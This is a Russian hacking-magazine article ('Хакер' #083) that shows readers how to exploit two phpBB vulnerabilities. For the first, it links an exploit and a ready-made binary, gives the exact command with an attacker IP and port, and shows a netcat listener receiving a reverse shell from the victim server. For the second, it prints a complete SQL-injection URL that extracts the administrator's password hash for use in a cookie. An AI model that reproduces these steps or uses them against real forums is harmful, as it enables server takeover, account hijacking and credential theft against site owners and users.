Итоги форумной войны

Степан Ильин aka Step

Хакер, номер #083, стр. 083-072-2

Скачать эксплоит можно отсюда — www.securitylab.ru/53017.html. Перед использованием не забудь авторизоваться на форуме, отключив при этом опцию сохранения пароля.

[phpBB <= 2.0.12 — выполнение произвольного кода]

Доступ к административной панели — это, согласись, далеко не предел мечтаний. Особенно в том случае, если до самого форума тебе нет никакого дела. Точно также подумал и хакер overdose, который использовал обнаруженную брешь в sessions.php и написал эксплоит для выполнения произвольного кода на сервере. Для этого ему пришлось заюзать особенность одного из административных файлов admin_styles.php, позволяющий подключить к форуму шаблон с внедренной функцией eval($str) ($str — строка, которая во время трансляции будет интерпретирована как PHP-код). Таким образом, получилось реализовать следующий алгоритм: используя брешь в авторизации, эксплоит проникает в форум с правами администратора, подключает вспомогательный шаблон с функцией eval() и с помощью специальных параметров передает ей код, выполняющий системные команды.

Эксплоит написан на С (www.securitylab.ru/_Exploits/2005/03/phpbbexp.cpp.txt), но чтобы избежать проблем с компиляцией рекомендую сразу скачать любезно собранный бинарник (www.t-nas.org/exploity/windows/phpbbexp.exe). Теперь пару слов о том, как его нужно использовать. Бинарник имеет 3 параметра: полный адрес форума, IP-адрес компьютера с включенным netcat’ом и порт, на котором «сидит» nc. Для лучшего понимания приведу пример использования:

D:\xakep\phpbbexp.exe http://site.com/phpbb2/ 62.11.11.11 31337

_ nom du cookie recuperer : phpbb2mysql

_ SESSION ID recuperз ... 06fddfs62bbd263434243456f11f3212 http://site.com/phpbb2/?sid=06fddfs62bbd263434243456f11f3212

_ recuperation du nom de la table sql ... sempervi OK

_ Injection de la fake templates ...OK

_ Fichier crзe

D:\xakep\nc.exe -lvvp 31337

listening on [any] 31337

connect to [62.11.11.11] from site.com [216.237.117.112] 57532

id

uid=99(nobody) gid=99(nobody) groups=99(nobody)

Nc.exe — это сетевая утилита Netcat (www.securitylab.ru/tools/33265.html), которая создает сетевое соединение на 31337 порту и «слушает» входящие подключения. Фактически ты получаешь веб-шелл, но если хочешь поковыряться в админ-панели, достаточно удалить все свои куки и зайти по ссылке, которую тебе выдал эксплоит. В моем случае — http://site.com/phpbb2/?sid=06fddfs62bbd263434243456f11f3212

[phpBB <= 2.0.13 download mod — выполнение произвольного кода]

Такие популярные форумы, как phpBB со временем обрастают множеством независимых дополнений (так называемые mod’ы и hack’и), совершенствующие форум дополнительными функциями и возможностями. Однако наряду с новыми фишками появляются и новые баги. Не так давно была найдена уязвимость в популярном моде downloads, который организовывает систематизированную раздачу файлов среди пользователей форума. Уязвимость критическая: разработчики почему-то не сочли нужным фильтровать параметры запроса, поэтому даже неопытный хакер смог бы самостоятельно совершить SQL-инъекцию. Запрос к сценарию составляется по всем канонам классического жанра: www.victim.com/phpBB/downloads.php?cat=-1%20UNION%20SELECT%200,user_password,0,0,0,0,0,0,0%20FROM%20phpbb_users%2 0WHERE%20user_id=1/*. Таким образом извлекается хэш любого из пользователей форума, в том числе и администратора — для этого в качестве user_id нужно обозначить двойку. В случае необходимости искать этот шаблон будет неудобно, поэтому я рекомендую тебе использовать эксплоит (www.securitylab.ru/_Exploits/2005/04/downloads_phpBB_2_0_13.pl.txt), который подходит для любой версии <=2.0.13 с установленным download хаком. Эксплоиту передаются три параметра: имя удаленного хоста или IP-адрес, путь к форуму на сервере, идентификатор администратора (в большинстве случаев равен 2). В случае успеха эксплоит вернет MD5-хэш админа, который можно поместить в свои куки и беспрепятственно зайти на форум под администратором.